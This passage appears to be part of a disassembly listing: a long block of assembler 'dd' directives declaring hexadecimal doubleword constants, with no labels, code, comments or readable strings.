		dd 0F963673Bh, 0D00BED3h, 759CF2D7h, 9B031Fh, 42B8CB73h
		dd 2298C537h, 0D793DD01h, 46E32D30h, 0A7F860h, 0E1FA3F8Ch
		dd 8B92A97Bh, 2801C5F0h, 9B4BDD07h, 41E031EBh, 68BF4C2Dh
		dd 0D4ACDA00h, 1C5370ABh, 243878B8h, 0A47F8081h, 7E8FADB2h
		dd 0C9E80058h, 4F95B362h, 0FF000C14h, 0F3392B9Dh, 194437h
		dd 0D9A0BEF7h, 6F95BAB0h, 2C16E018h, 9F9D0E20h,	0A0712CA4h
		dd 4F1FD178h, 0CDDD86D5h, 53078216h, 0BC84FDD2h, 1960DCEDh
		dd 0BBF95A2Ah, 123E6AF2h, 3420812Fh, 0A4307090h, 1FC401C1h
		dd 0ADEEB2h, 0A32B45A0h, 800CD23Bh, 5400CCB1h, 65C9ABC6h
		dd 952E2772h, 901834A0h, 0F500C53Eh, 0EFDEDAB0h, 31DA6ABh
		dd 37D92496h, 0E5A0CBBCh, 0D3EA3EC9h, 55380E00h, 2D63B6A3h
		dd 0CF9407CDh, 502EF52Fh, 6E1A99C6h, 6F08B003h,	0C8BD1286h
		dd 7CD1D24h, 68549392h,	0E953D37Fh, 6A983498h, 91A60214h
		dd 0F3060FA8h, 637A60AEh, 301E7293h, 9E46C6EAh,	809FA196h
		dd 3396E68h, 8D8F8033h,	4F7FA506h, 186F86h, 0B2DAAF83h
		dd 0B92033E5h, 80F5C33Bh, 49B1EA5h, 58B0FD08h, 0D003CE8h
		dd 7AFB1390h, 5201D1C6h, 0E568BE0h, 1AD89251h, 9CCB0CFEh
		dd 0B340F6A0h, 7E9BE30Eh, 0F0184085h, 2C55A6B9h, 0DB8DDCh
		dd 8FF2F33Bh, 8600CC21h, 2EDF6E73h, 7F721Dh, 665DFCCFh
		dd 0EB8412D7h, 4CF54E1Eh, 0E7E3228Fh, 51B7E552h, 0AC7B1070h
		dd 5B212876h, 4A4E0AFEh, 38A6568Eh, 4110A25h, 3B07E4DFh
		dd 1596C204h, 0E0C0EC5Ah, 5CF57Eh, 0ACDDB4F6h, 8E425277h
		dd 0E984CB00h, 0B52A40D3h, 3D00053h, 37F49972h,	0B200F712h
		dd 559751Dh, 4F578B28h,	18080014h, 0A0252D76h, 1DF52600h
		dd 0E4B99FD8h, 3A63077Bh, 0EEC0CF02h, 7F71C843h, 68316698h
		dd 4972E5Ch, 0C98B0DA5h, 58211CBCh, 6BC08F82h, 5D48E16Ah
		dd 3B94002Fh, 0F52CDF8Eh, 376C9D00h, 0C2A93090h, 0B905035Dh
		dd 5E1BAACAh, 3C72D599h, 8FAE39C0h, 0DE6C949Eh,	170154A9h
		dd 0B7037E22h, 0B4823C4h, 0ABCE94D9h, 0C4A09003h, 823208C8h
		dd 9E817B00h, 0D66FC05Eh, 68530C7Ch, 0B5989A44h, 1F5AA05h
		dd 7980629Eh, 0E95426h,	0BAB63282h, 0EDC8A89Ch,	8C40FEC0h
		dd 425BD0h, 0A51AA9AAh,	573A2696h, 0C511019Fh, 9EFC3571h
		dd 49283985h, 0F0986D00h, 9710752Fh, 79E3EE05h,	0F0C08FFCh
		dd 0C52A5h, 9C425AE9h, 59EDCB78h, 1DF89801h, 0B31B8C6Ch
		dd 2F9F6DCh, 708A029Bh,	60FCC7AAh, 4B0B6200h, 9F71B894h
		dd 0DE40EC00h, 0CE251B7Bh, 61B49290h, 2F547Ah, 24B9784Ch
		dd 7C9EECAFh, 8108383Dh, 0CEFEA90Ch, 8C60FF2Dh,	0A5910E07h
		dd 0E4342172h, 0A1BB8A00h, 877983F8h, 0B9BFC082h, 41F720Fh
		dd 0CE818037h, 9D2C0A2h, 73903F96h, 94A9D481h, 0C48682h
		dd 3E775A2Ch, 0F49CD46h, 0AC8F553Ah, 1D0002D6h,	0BD840F12h
		dd 10CB80C8h, 832439BFh, 0A0034C26h, 882A6C90h,	0CBBE2B7h
		dd 95532C18h, 1B01C29Ch, 77A646F9h, 4DD97F62h, 0DE780B2Bh
		dd 38364841h, 92888060h, 0F169550Fh, 5B64C870h,	9F9C2232h
		dd 835CF2C0h, 133A510Bh, 0D8BC4301h, 6EFAE3h, 3E70B23h
		dd 6455CD68h, 0CBE6F900h, 33E2C7BDh, 8ED10015h,	307D488Fh
		dd 9F012768h, 0B744AE3h, 0FFC87AD0h, 7E7C9001h,	51520019h
		dd 2F30CBD3h, 0D400ED9Eh, 8665AE2h, 0C1D6B1h, 1F12E5E6h
		dd 24A3434Ah, 0F994B850h, 6D356B0Fh, 0D573A078h, 1D7115Dh
		dd 0DEEF04E6h, 0E0C37565h, 7800D87Ah, 0AE195C67h, 1F94D0A0h
		dd 0C06F98C1h, 7C76BD2Ah, 9A169120h, 0D008635h,	0FF02F6A2h
		dd 7D9C2724h, 3801EC80h, 0B7797AB6h, 116C2A01h,	0F1980A1Bh
		dd 8583DCh, 2782D390h, 296A45ACh, 23BA1903h, 906F619Dh
		dd 0B8EBF785h, 6CFF0204h, 0CB257D18h, 0BB60E874h, 602E528Ah
		dd 0FF8C29C3h, 5B3AF38Fh, 0D0D8CFh, 0E4D3A9BDh,	4C90AB1h
		dd 0FA069AABh, 9908C0DDh, 9F3D31A3h, 55007003h,	0C28ED6F1h
		dd 4BDF6256h, 5BAC40F4h, 0F2131CCAh, 3808AB03h,	0B4934157h
		dd 5214B0h, 48D7A43Ah, 5CF1902Dh, 0F7979D0Fh, 0A02E2BABh
		dd 0C35FB5A8h, 0D8F6380Ch, 0E11D3881h, 0D8E0831Ch, 9A03B3F9h
		dd 3449A521h, 4079FAh, 1F43EB30h, 9B9C3EF2h, 93F62500h
		dd 653B807Bh, 21090C14h
		dd 4EC8CE13h, 0F4D84400h, 0E9611594h, 1C29774Fh, 9020126h
		dd 0FC59B9D5h, 0A0E2D060h, 93E6B0h, 85DE537Eh, 6BFEE952h
		dd 0D5B97960h, 0B53924h, 0DB38F725h, 0AFDCD0F3h, 138F8600h
		dd 5AC82894h, 0C043EE45h, 7BC68CB0h, 0CCB0BC17h, 8010B53Ah
		dd 2205982h, 2444D031h,	0BA8073h, 0B153B671h, 0A10070A7h
		dd 9BF77A97h, 3862C60Fh, 0D85DFC18h, 2970A400h,	0D7A22B21h
		dd 0D28C0595h, 1496860h, 0AE453B21h, 60475680h,	74EB03CAh
		dd 0DE433100h, 0FD91FFA0h, 0B017074Ch, 0EEEE4245h, 609C4178h
		dd 0D4FF7102h, 0D86F3EC5h, 0DB6600A0h, 3376578Ch, 0A575381Bh
		dd 0D4A8222Ch, 480B8801h, 16B1A64h, 445FD70Ch, 987CB4h
		dd 0CF93D932h, 183FBBh,	290830CCh, 0A52D531Bh, 91EA0A00h
		dd 0DAE993FBh, 6F40689h, 798C7D08h, 0CF133000h,	52FA8EA1h
		dd 375B3185h, 0F0781740h, 5600D699h, 25D490FBh,	0F0F93Eh
		dd 0BA361D95h, 0C6134A6Ch, 0E22DB501h, 0C70EB04Bh, 9800C069h
		dd 2B80FD60h, 6159465h,	0A8DC51h, 0D591DB3Eh, 0B7DA6E9Eh
		dd 2D979400h, 0DC266896h, 514EDA8h, 44C3F190h, 5DF01180h
		dd 97F3EEB4h, 6F012A76h, 62BD363Ch, 10208EFBh, 0B26101FDh
		dd 0AE0FEAFEh, 0E854C08Ah, 5750AA07h, 85A0D755h, 5955D56h
		dd 0A490446Bh, 16DC91ABh, 0CD9895DBh, 29A780DCh, 0F24A4FC7h
		dd 867D383Ah, 2EDDEE80h, 995CD0Fh, 0ECCB1200h, 0BA8756F6h
		dd 4C3F02E1h, 6C26644Bh, 0B8C48755h, 986867D1h,	0BEF3B0F4h
		dd 12BE9298h, 4B7C90D0h, 89EA1DFCh, 0B8D3DC07h,	1BC07AA2h
		dd 2F5FF6Bh, 32C9F24Dh,	24E0180Bh, 0A4005102h, 53887426h
		dd 0C050F882h, 68588310h, 906B06Eh, 0B494FCA7h,	5B6C2DE1h
		dd 7051D049h, 57E425C0h, 360E9C0h, 7FB0EBCh, 9A45C98Ch
		dd 0A2600ED2h, 0D41DAE09h, 858E8409h, 61B87037h, 0F619C87Bh
		dd 84E4247Ah, 95F24100h, 0D978A671h, 88BB1640h,	85C4008Ah
		dd 21DA796h, 0B41CDCE2h, 6C40277Ch, 51EF1E77h, 0EA46FC4Ah
		dd 453D28F2h, 66F500CCh, 0E7D7BA89h, 3F00B279h,	0C7DB7DD8h
		dd 25C38DC2h, 0F8AC6757h, 0E073E360h, 5CFFEC00h, 34E5FE33h
		dd 0B2CC2C6Fh, 723D0E48h, 0B480DC82h, 0A9BC34C0h, 86FCF060h
		dd 99A4D7h, 21F351F5h, 715FD808h, 95591407h, 96F0038Dh
		dd 0F4DD7h, 2C1C2A7Eh, 5CEC29EBh, 7AC5BF00h, 0B9A86463h
		dd 61CD00BCh, 6E2589C6h, 1AF42428h, 19DB720Bh, 0BA800EBh
		dd 0E9E590h, 5AFB819Eh,	657AA1E1h, 326DF100h, 0A426AA1Ch
		dd 0E8720358h, 70C6BCC4h, 233D90F0h, 0B6ACC700h, 72C2C968h
		dd 0F62B3FCBh, 4C27B73Bh, 1F76A040h, 5F0D0F0h, 0DF362D09h
		dd 0B6E8F894h, 0F0BE1658h, 0AF0035ACh, 6FDBECB7h, 13315D2Ch
		dd 0B0C4D13Ah, 9312AC44h, 50059D37h, 0B4C102DAh, 1A71FD4Bh
		dd 0EF40076Ah, 7CE4D0A0h, 3900DB68h, 0D766B6FBh, 0A60F34h
		dd 92376CECh, 0A8154EFFh, 5E01DD7Fh, 31BCD878h,	0BFDCAA11h
		dd 0AD6448CEh, 7D00153Ah, 7591B733h, 7000A82Bh,	3BD747B6h
		dd 26F87A3Ch, 97801D3Dh, 13802145h, 0A47869h, 744651E4h
		dd 76A26BFh, 0C5DE2A85h, 0E3D470A9h, 9800AC5Dh,	0F48C8F4Dh
		dd 5CFD51h, 507EB241h, 0F064DCE8h, 0E7061E2Eh, 22ECA802h
		dd 4DE8C033h, 566B12FFh, 0D96C01A2h, 0C88E364Ah, 3F2454C2h
		dd 9112664Eh, 131EA400h, 59832410h, 7409505Fh, 6002D218h
		dd 68D6E1AFh, 0B2528038h, 50EA1B6Bh, 0D9552D10h, 7810D40Bh
		dd 0FE0128C5h, 97B17106h, 17CDF8FAh, 9A3DC24h, 840D1EDAh
		dd 510B4C9Ch, 8CA68Dh, 0ADDEFA0h, 4CC89277h, 178C878h
		dd 97135395h, 348833E8h, 26008100h, 0C8D146ABh,	0F6BCC7h
		dd 5E700510h, 3825E6C9h, 0E46A4926h, 165F74C4h,	7D040F4h
		dd 66811629h, 2C60C2EEh, 5F52B299h, 0E90F07FFh,	0D07B3AB4h
		dd 0C5B6E5F6h, 0ED08BB17h, 98FC4CF0h, 0D46D34D4h, 0AD7DC159h
		dd 0A1AFFDh, 7FA2DCCh, 0EF7608h, 0E252B8D1h, 3EF11FA6h
		dd 4B6C9E16h, 2A9FCB0h,	65D3E8CDh, 74C558B6h, 9CA8CE12h
		dd 3A017A0Ch, 9C00AF19h, 4720153Ch, 1F81CB11h, 5307492h
		dd 8473A96Fh, 0CE98B4C8h, 1AAA842Eh, 0D97AD00h,	2B11D7F9h
		dd 1090BC1Bh, 0DBCFC290h, 4120E0AEh, 0C8985425h, 780C0C9Fh
		dd 1511C1B0h, 0DC539728h, 891C8859h, 0D6782209h, 248C4DAh
		dd 0C1BAD3D8h, 0E4E1A7FBh, 2797DC62h, 6C2F8800h, 4846BD3Bh
		dd 9E4B2CBCh, 0E538994h, 57770801h, 9694507Eh, 5F586EE5h
		dd 0F4A00954h, 215020A3h, 0B15E46h, 55A7404Ch, 0E0E2608Fh
		dd 8BDF7117h, 26440E4h,	8438D42Fh, 0C0D17E6Ah, 4CE4D000h
		dd 5C6069Ah, 0F8E3EE18h, 0C824E054h, 31627509h,	7BC88702h
		dd 8B839DA0h, 47EE4CF2h, 4B28AC40h, 8DCCC0E0h, 24751643h
		dd 0A3DA904h, 40C0E3C9h, 30472B3Ch, 3E11BF1Eh, 0BE2259F3h
		dd 7EF81CDCh, 0E22C017h, 195A914Ah, 1B5C5E01h, 86C698F4h
		dd 65D0E7CBh, 0A0FA94A9h, 22F38Ah, 74A0F146h, 0E4CEB8CBh
		dd 0AA50B892h, 0C409CDB8h, 204F994Eh, 2F6B8F6Ch, 7CDC0501h
		dd 92718D96h, 0E8C68384h, 8053AD3Fh, 0A4FBCBE0h, 7163209Bh
		dd 0F45F78ECh, 17C600B2h, 0B4C9C27Fh, 340055B1h, 0D508BF20h
		dd 0B69F66h, 0BD6B3D9Ah, 2A502EFFh, 4823EB00h, 0CA32EA9Ch
		dd 55E81CC1h, 97244046h, 82DEE5F0h, 1A68F458h, 80D0AF0Ah
		dd 8A9981A0h, 0F541CF5h, 58A280F3h, 0DE6DA074h,	0F10B3000h
		dd 3CEB2B04h, 0CEAF1C7Fh, 0DD768FBEh, 6E123A01h, 2B319E83h
		dd 0A6F93880h, 0C67872h, 449F147Eh, 8223B9ABh, 0F8CE4200h
		dd 0AE3298B1h, 0F302E2FEh, 5A0C006Ah, 113B516Bh, 2C06BC04h
		dd 9080A54Dh, 7EBDD69Fh, 13C4ED5h, 0B3192DF4h, 58127EE8h
		dd 3EAACB4h, 0C561AB2Ah, 0EC7E470Eh, 7C82135Fh,	13A8F46Fh
		dd 0FFF4A057h, 2D77A440h, 4CEC75BCh, 80B76000h,	0CCEF1221h
		dd 4FCF0190h, 5BB6E804h, 5D3060A0h, 84651F44h, 6A31660Fh
		dd 0E90E62h, 0FCF3430Eh, 923E0571h, 0C0E3CB82h,	0CF911390h
		dd 6A4C00B7h, 54413Bh, 0F7690D9Ch, 3319444Bh, 7C842800h
		dd 0ACB6B32Ch, 0D9350039h, 975EC8BEh, 0DF1C6BF8h, 4ACE488Ah
		dd 2B00B227h, 0D61695A0h, 473C2h, 0CC10B5BFh, 67DD01EBh
		dd 1C307600h, 2A7BD36h,	0F9D800EAh, 3BCB0B87h, 40C0673Dh
		dd 0FD686EC6h, 86A85806h, 0A4E7ED00h, 0B70CE083h, 0CB008BECh
		dd 58D84B9Ch, 6DA909h, 0AF16FDD2h, 0C5C6DCEAh, 6791CD00h
		dd 0EFF37ECCh, 0AA5AE5h, 95138ABCh, 0FF4B6A2Fh,	4F36E060h
		dd 28F64DC0h, 0C63CEE0Eh, 7940263Dh, 80F42CF6h,	0C55DB4ACh
		dd 6F7E128Eh, 712CC85Eh, 0EBFA6B00h, 433CDF2h, 39500D2h
		dd 9D5AE9A7h, 7E04DC67h, 0B2B5ED73h, 0B07C68FCh, 201A0974h
		dd 19000DDDh, 4E0838F5h, 0F76D8F1Dh, 70A1ED80h,	0B8B59A3Fh
		dd 0D799C039h, 290836A3h, 0D4801D00h, 0F9603105h, 26CE1692h
		dd 7858628Fh, 98C1A426h, 80389984h, 473E4B7Ah, 5B01349Dh
		dd 31592176h, 0F43498BAh, 3FE000BDh, 30FCE145h,	8998D3DEh
		dd 8072370h, 0F57F2111h, 0E02A8102h, 35B9B5h, 590BC51Bh
		dd 4F3C4136h, 3CB3287Dh, 0B060CB3Bh, 58D139B9h,	7490E48Dh
		dd 5B821BB0h, 0C9F0DF00h, 0A56CC6BEh, 642F50F4h, 1F327A7Dh
		dd 0EAFF30h, 5E87C4D4h,	0DC09A75Ah, 80D03BB7h, 81A55048h
		dd 0C0A05496h, 941209BFh, 0F0C6C928h, 0D45C8B00h, 883D1C33h
		dd 0F22D7EB3h, 0CA413C4Dh
		dd 40C08059h, 7C77ADD8h, 9B223400h, 6A82F66Dh, 60A44E83h
		dd 45403EC8h, 0E6015470h, 0F996B069h, 0AC749F82h, 9EC3008Eh
		dd 0A1F7B638h, 8C3A3AC1h, 24A04C29h, 8F002A48h,	1960751Bh
		dd 47940015h, 37067D9Ch, 0D65CAA1Ah, 5EE81FBBh,	0B63C7481h
		dd 4EC6D17h, 0E038B01Bh, 0F1190061h, 0C8F263BFh, 9D015CE2h
		dd 0A2AB8C03h, 30601C10h, 8CD954E8h, 6C33B79Fh,	9370DC90h
		dd 0CA4C38B2h, 5C084E3Ch, 400AF1Eh, 7C8DE530h, 7B8F3B04h
		dd 3CC0B7C4h, 0BAB940Ah, 0B4E2D6CAh, 5B788200h,	0AE132224h
		dd 2CF08D15h, 0AC0100CDh, 98DD4026h, 0F10EB6DAh, 3286EB56h
		dd 5700B4B9h, 0ED29EF93h, 35009763h, 1E2E7DB0h,	15183DBh
		dd 93E734EEh, 70EA7127h, 8C38D73Fh, 74508066h, 95BC4746h
		dd 0AA233EF3h, 4E41710Fh, 7DA10700h, 200832Ah, 915AB29Ah
		dd 1427D3h, 0A4164EC5h,	82F17266h, 68B92C25h, 7C4594h
		dd 223C46E7h, 0AC63C02Bh, 1CEF9450h, 8BA52507h,	11F01E0Fh
		dd 246F3B08h, 7CA635h, 5DD57E07h, 681D643Ah, 61EF9FEBh
		dd 4BC448E8h, 13B401C0h, 830251B8h, 0E4023B89h,	0C6AB4E18h
		dd 0F5490E30h, 6CA5EF7Eh, 26DE801Ch, 64488F9Ah,	91880080h
		dd 2F045B51h, 7F8C28E3h, 0AD878B1h, 269A6DACh, 0D7A00091h
		dd 171F64B7h, 0FE2FF607h, 0BEA08BC6h, 29F20Eh, 0CB5FA946h
		dd 3EAF6627h, 6DB3C700h, 0E51CAE63h, 8EE2572h, 0C3B760D0h
		dd 5CE0E66Dh, 1C0EB42Dh, 6B80F314h, 24C20934h, 0DDBDD40Fh
		dd 0E1D8021Ah, 120C40F5h, 0B04000F6h, 81318A19h, 0A8DC01DDh
		dd 0EE5FC400h, 25854CEh, 0D995F99Dh, 0D4C10AA4h, 4A3881F3h
		dd 51FFF7A6h, 30277997h, 49710DF0h, 12919A03h, 0C4B7D351h
		dd 0D8C0BBC0h, 9A6B500Bh, 0B9EA02FEh, 0E164158Ch, 0E6559B60h
		dd 0F9829100h, 39A3E358h, 15190E2h, 25AC48DAh, 64C7103Fh
		dd 2D073E18h, 0B62C3B6h, 2488AB21h, 0BCA470h, 0A4A042AAh
		dd 0D6ACA218h, 8D2B3Dh,	0A5E33F57h, 0AC82F48h, 2DBFCA39h
		dd 0DDCF00BDh, 0ABA6096Fh, 611C230Bh, 0E915009Fh, 3C5E5338h
		dd 5008045h, 739D3F64h,	210324C1h, 359A1658h, 0B10CF013h
		dd 81D53D3Ah, 0DDB82F82h, 0AC7064E4h, 83270339h, 76B5BC2h
		dd 666A8857h, 2FE490CBh, 0C4C17785h, 2EC784Ah, 526E62DAh
		dd 9E45E36h, 3580BFB9h,	0D6B78886h, 2C14C700h, 0CF5F9D4Bh
		dd 0ECF0002Eh, 0A37F9EF6h, 9C2621FCh, 9B052CF2h, 4C0D7EBh
		dd 8E457Dh, 8D7868E0h, 4FB2C6C1h, 0A0D16250h, 3876AD58h
		dd 931880E7h, 0FE16242Bh, 66DD027Ah, 105ABA21h,	0ED987C40h
		dd 9E31C43Bh, 8880E504h, 0A2E68A50h, 9A4D2544h,	0B6965800h
		dd 2300D762h, 8C5DF266h, 3F85A922h, 0AE81CF6Fh,	78ECF9C7h
		dd 60812BE6h, 5BC8F805h, 3B93EEEFh, 0E2005DC1h,	73B5D2EDh
		dd 3A003D61h, 5C7153Fh,	2563709h, 0CBAC9448h, 8474E01Ch
		dd 88E27h, 1BA17D24h, 0A780A3F6h, 26B558C1h, 50648EF9h
		dd 6DB8008Bh, 0C24EE821h, 3B7E59E6h, 1D485701h,	0D25631EBh
		dd 1F900460h, 0C0259FA9h, 7EFCEC93h, 0D0739E6Eh, 0F214C771h
		dd 5A4FA3Dh, 8BAF78A7h,	1D668906h, 0C88508E0h, 758056FCh
		dd 5FCB9587h, 0F0E3005Ah, 5E72AACDh, 43004642h,	0D00A2D11h
		dd 763784h, 17C6A798h, 6D3B5BE5h, 0D8BF6F30h, 38EE73Dh
		dd 11ECB3CFh, 0E009F56Ch, 12C83B6Bh, 6C5EB8h, 1854F32h
		dd 3076D62h, 5CB0CC69h,	0D09A4C23h, 0E72929Bh, 710E7D5Bh
		dd 4DB836A3h, 3598E293h, 0A00EAA97h, 8459F625h,	1EBFC5Ah
		dd 74FA624h, 3CB5E0E0h,	84CF4600h, 115FB7AAh, 1CAEFE5Dh
		dd 0C61AC165h, 0EC7C07FFh, 56ECA9BFh, 44274FA8h, 0B42B127h
		dd 5874CACAh, 46E14D0Bh, 0DD890110h, 94143EA8h,	3DA7D88Ch
		dd 259CC800h, 47997B76h, 13FC7838h, 0F4306E86h,	0C1283F94h
		dd 0CD05F0FEh, 5BDFE477h, 0A4820800h, 175C134Fh, 0E0749162h
		dd 0FF003194h, 0C8A7C40Bh, 3B2B0Dh, 0BD36D99Ah,	303425F5h
		dd 0B4452800h, 0F2E71E23h, 0BCCD00A4h, 8D3D54D6h, 0FEE6FF57h
		dd 1DB68516h, 0CCB0FC12h, 0FA970158h, 0F0219070h, 0E4E6C59Ch
		dd 8100545Bh, 681F3146h, 0DF1DC8h, 5094B248h, 4F7EA74Bh
		dd 0A65C4E7Fh, 4E6048E5h, 6A89B060h, 72D0E67h, 7FE365DFh
		dd 0F7D0AA85h, 0E1F66BBh, 0B881BCC3h, 5162E052h, 7B4FD5h
		dd 20C56CC8h, 0EB5B5706h, 0F78F5800h, 0B7FF3360h, 5A3BE480h
		dd 5B252E44h, 0E45025h,	9E32A299h, 54FFFA02h, 8FD1F100h
		dd 0E8D43EC5h, 0A9C30224h, 0F6E6D8D6h, 0BB247Ch, 29A64050h
		dd 0E6258F0h, 0E0B8EFF3h, 0AFEC6EE0h, 2F0023B7h, 9F42E32Ch
		dd 70200Bh, 983B33DCh, 26A9D118h, 0BC368E00h, 0EEB5E4ECh
		dd 0DCAA4C3Eh, 0D8DD7601h, 0C852BB60h, 8E0033F9h, 0C52FEBDFh
		dd 0C034583Dh, 7EFD6310h, 7D059507h, 0EF7F0990h, 60A84892h
		dd 97D780h, 0D38CD4F1h,	0E944B953h, 38773100h, 520B47E1h
		dd 0BEFC00AFh, 1C337ECDh, 1E00B72Bh, 7382D6ADh,	98D7E55Fh
		dd 49C2000Ch, 0B581A117h, 580384D4h, 0EFAB3388h, 0F47808E4h
		dd 4409AF34h, 706087CDh, 549F63B1h, 14328030h, 9C56F6EDh
		dd 0ADF5CD80h, 0DD4D605Bh, 0FD500450h, 14E8361Dh, 0DC53B20Bh
		dd 0D2EE0801h, 0F871ECB6h, 0BC866113h, 27E4ED0Bh, 0EC90E084h
		dd 23AE91h, 30247841h, 0A034748Ch, 1228580Ch, 0FE40A71h
		dd 0C50433CFh, 0AC8721C4h, 94C900B0h, 233EB8DFh, 48099DC2h
		dd 0E0973E58h, 0C54F0FB0h, 0A9D014CEh, 2EC2033Ch, 0FB31A31Ah
		dd 1E4C88C1h, 5FF4019Ch, 13395705h, 0C719C4E6h,	4A213700h
		dd 0B72E9A46h, 5C73007Fh, 0AE844EEBh, 0D000B143h, 588327C8h
		dd 51F2BA42h, 57D0BC5Bh, 65642836h, 76039F0h, 0A273B401h
		dd 0D07D7F82h, 7A05FF62h, 841A8059h, 98D05481h,	2ABEF0h
		dd 5671D905h, 0E1D5F90Bh, 84797704h, 44AAF4AFh,	7AD31A8h
		dd 61318A13h, 802B7036h, 0BEB4E1ECh, 3C0044ECh,	17C0CC4Fh
		dd 16F64D9Ch, 0A185CEh,	9F521488h, 79125DB7h, 0B0F84312h
		dd 6081EB3Ah, 26A4F820h, 7668F096h, 0AE0D3276h,	0B8759AE9h
		dd 11179063h, 80C01CA1h, 75A42D06h, 0A548FEAEh,	0ABB6037Ch
		dd 2B433FCh, 14FA8911h,	5D206C50h, 295CED2h, 0F4306028h
		dd 0D082BDC8h, 0F7C0EEE7h, 0DE3BFD1Eh, 0D38E28E6h, 587A1F0Bh
		dd 50DC8783h, 0AD0CFC69h, 4B23E0C8h, 0BF3AF100h, 0E56FFB96h
		dd 0BBC502C1h, 9589E697h, 0E0152041h, 0A500F963h, 0C881064Ah
		dd 7A043493h, 0CE70C01h, 6E288AA1h, 60BEDD00h, 84A7F436h
		dd 5810007Ah, 3B352566h, 8987B08h, 0D073E00h, 0CCEDA948h
		dd 28F4A083h, 1F1AE44Fh, 8044B56Dh, 74789D3Ah, 6AEAC7BDh
		dd 0A741B100h, 64F7D08Ah, 32FC00ACh, 59E30E52h,	2E58EF39h
		dd 0AEF100EEh, 0DAF9C6E5h, 31877858h, 0F4F035D7h, 0B4802B4Ch
		dd 0EE500E72h, 0D87F1618h, 328209Bh, 0B600BBE2h, 4F89ADD2h
		dd 341B2105h, 0AEDC259Bh, 2003012h, 904BC64Dh, 8830E9ADh
		dd 6F6E1220h, 0C0CC0087h, 0FF1797BAh, 9400805Ah, 8F4ECAE1h
		dd 235ECE0h, 0AD2A8119h, 0F44B9E51h, 0FA0696C0h, 0F4809701h
		dd 9BEF7753h, 4FC8C64h,	81074DA4h, 0DEF8E0D4h, 0D5AD1012h
		dd 6765540Eh, 0C02096DCh, 12DAFF30h, 0CCCD3D37h, 0A400C2F8h
		dd 0BBF51F68h, 0ECD0C892h, 0A3520004h, 0A89D57B7h, 63011566h
		dd 7793F58Ch, 0DAF0FB3Ch, 391A3BE3h, 0D07526h, 3EE097EFh
		dd 0AD284E7Eh, 8700D890h
		dd 9B0B4DF4h, 1FEBA612h, 0C23DA4BBh, 154BFCA3h,	3F4290D0h
		dd 2651131Eh, 0B30C00B4h, 0F08C5296h, 88B9CC37h, 0A0C9D173h
		dd 3686EC5h, 0B6AEA50Ch, 21009C45h, 0BED542ACh,	1CE650Dh
		dd 6824A6C1h, 206CBA55h, 9E20B76Ch, 17777137h, 209CEBB3h
		dd 8ED31F78h, 0CA9DB21Eh, 98829453h, 97185063h,	69A030C3h
		dd 3F00A5FCh, 23CD806h,	9A4973h, 0EE123ECDh, 0BCD4D2F3h
		dd 0FA03C37Fh, 4F560F53h, 6D00197h, 2EB2943Bh, 13D02095h
		dd 0C53F5D0Ch, 3CF311F5h, 812C660h, 0A7B0A04Ah,	65E3B616h
		dd 52F01C02h, 0FAF704AEh, 0BC6BF820h, 70F7067h,	85D3421h
		dd 0A9F471BFh, 0A2988072h, 82147CC5h, 281B70CEh, 0F094B17Dh
		dd 6E81E641h, 0C88011FBh, 0EF192CA2h, 0C3CED800h, 0A81366C7h
		dd 2FEE17F0h, 4D720169h, 3C04580Dh, 0EA750784h,	60990FE2h
		dd 42DC834h, 27CAD109h,	751AC303h, 4ADA06B8h, 0AFFD39h
		dd 0A6327A89h, 71AAE3h,	8F636A52h, 0B10185A3h, 0ABC62C00h
		dd 444BF384h, 92E9255Bh, 0F4A3D8C0h, 1C87A240h,	7CED4614h
		dd 0C0DF8B18h, 957FBE34h, 1EC0D130h, 7FFA0F1h, 0CC88E550h
		dd 824F70B3h, 31D9343h,	0F3C00208h, 0BDD68BD7h,	20EF0009h
		dd 292A6D45h, 0E100D9EBh, 0EAA7DF5Ah, 9689CFCh,	0D01904CFh
		dd 28029852h, 0E4F6C47h, 0B47055h, 2997A472h, 3F20806h
		dd 0DAE22000h, 4837C55Eh, 0C0164F59h, 0CD78359Ch, 4EDC9700h
		dd 30FAF429h, 25E2FE1Bh, 0BC728B2Fh, 0B2924600h, 0DA5BB54Bh
		dd 0C705E6F4h, 0D52C4018h, 2FDC0519h, 4818028Ah, 0D4D0B295h
		dd 0A5B13103h, 0A0D127E3h, 0D88BDh, 43E1092Eh, 0E6532B9Eh
		dd 0D9006E98h, 7DF5F4Dh, 240FBE3Ch, 0C42564h, 0B8A5A927h
		dd 30A0A8B2h, 4A20B910h, 0C055F0C9h, 409B2798h,	2203A609h
		dd 1B92343Fh, 8C2FD141h, 47B6452h, 7421EBADh, 47004FD4h
		dd 841EBF7Fh, 0A2409E39h, 5D74A409h, 318909BDh,	0FC5CC2BCh
		dd 2969848Fh, 0D6810061h, 0A018BBA0h, 31603CEh,	0C70E21BDh
		dd 0B5C8E899h, 0FF87193h, 5C62D00h, 6C60B1BBh, 0CBF100FBh
		dd 77DDA3A7h, 7400B001h, 0A6EE4F64h, 0C5719Dh, 0D01C2AA1h
		dd 0AD6C0399h, 0A89F8F2Ah, 55835200h, 0BEA317D7h, 0EEFAD3h
		dd 0C407D416h, 864CE3BCh, 251A0B00h, 2C7A4894h,	0F538C0FDh
		dd 8B284604h, 4064F42Fh, 92336188h, 0C8E00EE0h,	3A80F1C3h
		dd 343EB291h, 0B93CF800h, 0B8BAF269h, 4681C5AAh, 0C0BC5ECBh
		dd 0BF5D70ADh, 0D701E059h, 0E3ED2F26h, 78FCF730h, 314530D3h
		dd 0D43A1761h, 11384130h, 0C7C2F18h, 0BE9905D3h, 61C0AC4Ah
		dd 7B488F25h, 79CE0AF7h, 13847F1h, 6CC0185Dh, 49B8CC64h
		dd 0BF4F2400h, 0B16856EAh, 0F470478h, 91E2B65Eh, 51D57558h
		dd 0F8EAABFCh, 0B93D386Ah, 3F8B80A5h, 8A0A84FDh, 48C20056h
		dd 0FFCB4F23h, 0D9633332h, 0B17571h, 0FD859B41h, 0DF73344Dh
		dd 0C442F200h, 796DC095h, 41765B5Eh, 73F4D7Ch, 6E78F8F1h
		dd 44E48100h, 0A112EB6Ah, 602B1694h, 6CAC08h, 31B03D75h
		dd 0F58A6Ch, 0CC1CCAC3h, 57078927h, 5E8F5001h, 628E39BDh
		dd 9DC10883h, 93F89A0Fh, 0D0E1CD09h, 6E02C61Ah,	0B3CB1589h
		dd 0FD746192h, 0B1F0DDF1h, 0BC163E7Fh, 911D7E3Ch, 101918CFh
		dd 7400088Fh, 8D15526Eh, 0C34416h, 26869E24h, 0E18801D9h
		dd 93B19900h, 7FAFBE0Fh, 79A7C09h, 0FDCA0DD8h, 6E7A878Fh
